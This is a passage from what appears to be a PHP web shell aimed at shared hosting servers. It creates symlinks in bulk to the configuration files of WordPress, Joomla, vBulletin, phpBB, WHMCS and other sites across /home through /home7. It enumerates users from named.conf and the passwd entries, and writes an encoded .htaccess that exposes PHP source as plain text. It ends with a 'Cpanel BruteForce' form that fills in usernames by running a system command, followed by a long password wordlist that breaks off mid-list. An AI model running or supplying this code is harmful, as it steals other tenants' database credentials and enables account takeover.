		symlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home4/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home5/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home6/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');
		symlink(\'/home7/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');
	}

				$d0mains = @file("/etc/named.conf");
		
				if($d0mains)
				{
					mkdir($fn);
					chdir($fn);
										
					foreach($d0mains as $d0main)
					{
						if(eregi("zone",$d0main))
						{
							preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
							flush();
								
							if(strlen(trim($domains[1][0])) > 2)
							{ 
								$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
								
								syml($user[\'name\'],$domains[1][0]);					
							}
						}
					}
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
				else
				{
					mkdir($fn);
					chdir($fn);
					$temp = "";
					$val1 = 0;
					$val2 = 1000;
					for(;$val1 <= $val2;$val1++) 
					{
						$uid = @posix_getpwuid($val1);
						if ($uid)
							$temp .= join(\':\',$uid)."
";
					 }
					 echo \'<br/>\';
					 $temp = trim($temp);
					 
					 $file5 = fopen("test.txt","w");
					 fputs($file5,$temp);
					 fclose($file5);

$htaccess =
\'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
\';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
					 
					 $file = fopen("test.txt", "r") or exit("Unable to open file!");
					 while(!feof($file))
					 {
						$s = fgets($file);
						$matches = array();
						$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
						$matches = str_replace("home/","",$matches[1]);
						if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
							continue;
						syml($matches,$matches);
					 }
					fclose($file);
					echo "</table>";
					unlink("test.txt");
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
echo "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
	<strong>
<input name="page" type="hidden" value="find"><table>      				
    </strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
	<tr>
	<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
    <tr>
    <td>
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>User :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="usernames"><?php system(\'ls /var/mail\');?></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Pass :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class =\'inputz\' rows="10" name="passwords">123123
123456
1234567
12345678
123456789
159159
112233
332211
1478963
1478963.
cpanel
password
user
passwd
passwords
159357
357951
114477
pass
Password
12345
0000
root
toor
admin
omg
hello1
iloveu
cake123
sun123
sunburn
ilikecake
1234242
mynameis
warrior
runescape
habbo1
habbo123
habbohabbo
334345
ilikeu
cake123
fish123
throne123
throne1
dinoegg123
dino1
fuckinghell1
fuckinglove
FuckingLove1
fuckinglove123
omgomgomg1
shitface1
shitface
cheese123
cheese1
housing1
hous1
house1
mum
ilovemum
iamgood
iloveyu
qwerty
qwertyuiop
qwertyuiop1
qwerty123
qwertyuiop123
qwerty1
qwerty1214
thomas
arsenal
monkey
charlie
123456
letmein1
liverpool1
password1
thomas1
arsenal1
monkey1
charlie1
1234561
letmein1
liverpool1
password1
letmein1
liverpool1
password1
thomas123
arsenal123
monkey13
charlie1232
123456123
letmein123
liverpool123
password123
letmein1
liverpool1
password1
thomas1
arsenal1
monkey1
charlie1
1234561
letmein1
liverpool1
password1ha
login
please
please1
login123
openopen
ilikerunescape
letmeinplease
142356789
123456789
ifuck
fuckme
fuckme1
bastard
bastard1
kaka1
girl
boy
ilovegirls1
iloveboys1
ilovegirls
iloveboys
fackadoodledoo
fackadoodledoo1
manu1
manu
manu123
ilovemanu1
manuwoo12
myname
letmein123
fucku
fucku1
fuckyou1
fuckyou123
iam14
ifucksheep123
fuckomg123
ilovehabbo123
bullybusters123
leicestershire
london
birmingham
leicestershire1
london1
birmingham1
000000
00000000
111111
11111111
121212
123123
123456
1234567
12345678
123456789
123467
1234678
12346789
123467890
1234qwer
123abc
123asd
123qwe
654321
88888888
abc123
academia
academic
accept
ACCESS
access
account
accounting
accounts
action
admin123
Administrador
Administrateur
administrator
ADMINISTRATOR
Administrator
adrian
adrianna
aerobics
airplane
alaska
albany
albatros
albatross
albert
alexande
Alexander
algebra
aliases
alicia
alison
allison
alphabet
amadeus
amanda
america
amorphou
amorphous
analog
anarchis
anarchy
anchor
andrea
android
andromac
andromache
angela
angerine
animal
animals
annette
anonymou
answer
anthrax
anthropo
anthropogenic
anvils
anything
apollo13
ariadne
arlene
arthur
artist
asdfgh
asshole
athena
atmosphe
atmosphere
attack
authoriz
aztecs
bacchus
backdoor
BACKUP
backup
badass
bailey
banana
bananas
bandit
barbara
barber
baritone
bartman
baseball
bassoon
batman
beammeup
beater
beauty
beaver
beethove
beethoven
behead
beloved
beowulf
berkeley
berlin
berliner
betsie
beverly
bicamera
bicameral
bigfoot
binary
bishop
bitmap
bitnet
blonde
blondie
bloodaxe
blowjob
boyscout
bradley
brandi
brandy
breast
brenda
bridget
broadway
brothel
brunette
brutefor
bullshit
bumbling
burgess
butthead
californ
camille
campanil
campanile
camping
cantor
capitol
captain
capture
cardinal
carmen
carole
carolina
caroline
carrie
carson
cascades
castle
catherin
catherine
catholic
cayuga
cecily
celtic
celtics
cerulean
change
Changeme
changeme
charity
charles
charlie
charming
charon
chemistr
chemistry
chester
christin
christina
christine
christy
cigarett
classes
classic
claudia
claymore
cleavage
clinton
cluster
clusters
cocacola
cocainco
codename
codeword
coffee
collins
combat
comics
commit
commrade
commrades
company
compaq
computer
computin
comrade
comrades
condom
connect
connie
conserva
console
continue
control
cookbook
cookie
cooper
copper
corneliu
cornelius
correct
counters
country
couscous
cowboy
crackpot
create
creation
creature
credit
creosote
cretin
criminal
cristina
crystal
customer
cyberpun
cyberspa
cynthia
daemon
dancer
daniel
danielle
dapper
darkaven
database
databasepass
databasepassword
db1234
dbpass
dbpassword
deathsta
debbie
deborah
december
DEFAULT
Default
default
deluge
democrat
denise
dennis
desiree
desktop
desperat
desperate
develop
device
diamond
diehard
dieter
digital
dinosaur
dipshit
direct
director
discipli
disclose
discover
discovery
diskette
disney
display
doctor
dollar
domain
domainpass
domainpassword
donaldduck
doomii
doomsday
doonesbu
download
dragon
drdoom
drought
dudette
duelist
duncan
dungeon
easier
edinburg
edinburgh
edition
educatio
education
edwina
egghead
eiderdow
eiderdown
eileen
einsiein
einstein
elaine
elanor
electron
elephant
elizabet
elizabeth
emerald
emmanuel
enable
engine
engineer
england
english
enterpri
enterprise
enzyme
erenity
erotic
ersatz
establis
establish
estate
eternity
euclid
evelyn
exchange
exchnge
expert
explode
explore
explorer
explosiv
extensio
extension
fairway
falcon
family
faraday
felicia
fender
fermat
ferrari
fidelity
finite
firewall
fishers
flakes
florida
flower
flowers
foobar
foolproo
foolproof
football
foresigh
foresight
forever
format
fornicat
forsythe
fourier
foxtrot
france
freddy
freedom
french
friday
friend
friends
frighten
fryguy
fucked
fucker
fucking
fuckme
fuckyou
function
fungible
gabriel
gardner
garfield
gateway
gatherin
george
gertrude
gibson
gigabyte
ginger
glacier
godblessyou
golden
golfer
gorgeous
gorges
gosling
govermen
grades
graham
gryphon
guardian
guessme
guitar
gumption
guntis
h4x0r1ng
h4x0ring
h4x1ng
hacked
hacker
hallowee
hamlet
hamster
handel
handily
handjob
happenin
happening
hardcore
harddriv
harmony
harold
harvey
hawaii
haxing
headbang
headoffice
heathen
heather
heaven
hebrides
heinlein
herbert
heroin
hewlett
hexadeci
hiawatha
hibernia
hidden
highland
hitler
hollywoo
homepage
homeuser
homework
hooker
hooters
horrible
horror
hotdog
hunter
hutchins
hydrogen
hypertxt
icecream
ihavenopass
illumina
imbrogli
imbroglio
immortal
imperial
include
indian
indiana
indians
ingres
ingress
ingrid
innocuou
innocuous
inside
integer
internet
Internet
intranet
invent
Inviter
irishman
jackie
janice
